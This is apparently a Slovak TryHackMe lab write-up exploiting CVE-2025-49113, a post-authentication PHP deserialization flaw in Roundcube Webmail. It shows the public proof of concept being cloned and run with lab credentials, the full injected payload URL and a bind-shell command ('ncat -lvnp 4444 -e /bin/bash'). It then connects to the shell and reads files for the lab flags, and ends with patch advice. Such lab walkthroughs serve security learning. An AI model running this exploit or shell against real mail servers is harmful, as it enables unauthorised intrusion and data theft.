TryHackMe - Roundcube
Exploit zraniteľnosti CVE-2025-49113 v labe
Úvod
Táto miestnosť nás ma naučiť, ako fungujú zraniteľnosti v deserializácii. Serializácia mení objekt (napríklad v PHP, Jave alebo Pythone) do formátu, ktorý môžeme uložiť alebo odoslať. Deserializácia robí opak – ale ak sa vstup správne neoverí, útočníci to môžu zneužiť na spustenie škodlivého kódu.
Kirill Firsov objavil takúto chybu v Roundcube Webmail. Problém bol v súbore upload.php
, kde parameter _from nebol bezpečne overený pred deserializáciou. Komity pre verzie 1.5.10 a 1.6.11 ukazujú, ako to opravili – pridali kontroly na blokovanie nebezpečných znakov v _from.
Nmap
Zdá sa, že máme presný odkaz a prihlasovacie údaje, takže použitie nmap nie je potrebné.
Exploitation
Navštívme http://10.10.191.67/roundcube
, ako je to uvedené.
Zobrazí sa nám prihlasovací formulár Roundcube:
Použime poskytnuté prihlasovacie údaje:
Username: ellieptic
Password: ChangeMe123
Stiahnime si náš Proof of Concept
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ git clone https://github.com/fearsoff-org/CVE-2025-49113
Cloning into 'CVE-2025-49113'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (8/8), 7.33 KiB | 3.67 MiB/s, done.
Resolving deltas: 100% (1/1), done.
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ cd CVE-2025-49113/
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ ls
CVE-2025-49113.php rc_install.sh README.md
Spustenie exploitu
Na spustenie exploitu musíme pridať argumenty takto:
php CVE-2025-49113.php target_url username password command
Urobme to a počkajme na dokončenie.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ php CVE-2025-49113.php http://10.10.191.67/roundcube ellieptic ChangeMe123 "ncat -lvnp 4444 -e /bin/bash"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: ellieptic
### Authentication successful
### Command to be executed:
ncat -lvnp 4444 -e /bin/bash
### Injecting payload...
### End payload: http://10.10.191.67/roundcube/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C73%C70%C7%3A%C7%22%C7n%C7c%C7a%C7t%C7+%C7-%C7l%C7v%C7n%C7p%C7+%C74%C74%C74%C74%C7+%C7-%C7e%C7+%C7%2F%C7b%C7i%C7n%C7%2F%C7b%C7a%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
PHP Warning: file_get_contents(http://10.10.191.67/roundcube/): Failed to open stream: HTTP request failed! in /home/rene/tryhackme/roundcube/CVE-2025-49113/CVE-2025-49113.php on line 237
### Error: CSRF token not found in response body
Vidíme, že sa objavila chyba, no príkaz netcat prešiel a môžeme sa pripojiť a vykonávať príkazy:
1
2
3
4
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ nc 10.10.191.67 4444
pwd
/var/www/html/roundcube
Otázka: Jedna z používateľov sa volá Maggie; aké je jej priezvisko?
1
2
3
4
5
6
7
8
cd /home
ls
algorithm
ellieptic
maggiebyte
terrybyte
testuser
ubuntu
Odpoveď:
1
Byte
Otázka: Aká je hodnota vlajky (flag) uložená v /etc
?
1
2
cd /etc
cat flag.txt
Táto zraniteľnosť vyžaduje iba platné prihlasovacie údaje do webmailu a funguje na štandardných inštaláciách Roundcube. Je ťažko rozpoznateľná, pretože tok dát spojený s exploitom môže vyzerať úplne normálne. Vzhľadom na jej závažnosť by používatelia verzií 1.5.x alebo 1.6.x mali aktualizovať na 1.5.10 alebo 1.6.11. Ak aktualizácia nie je možná, dočasným riešením je blokovať prístup k súboru upload.php.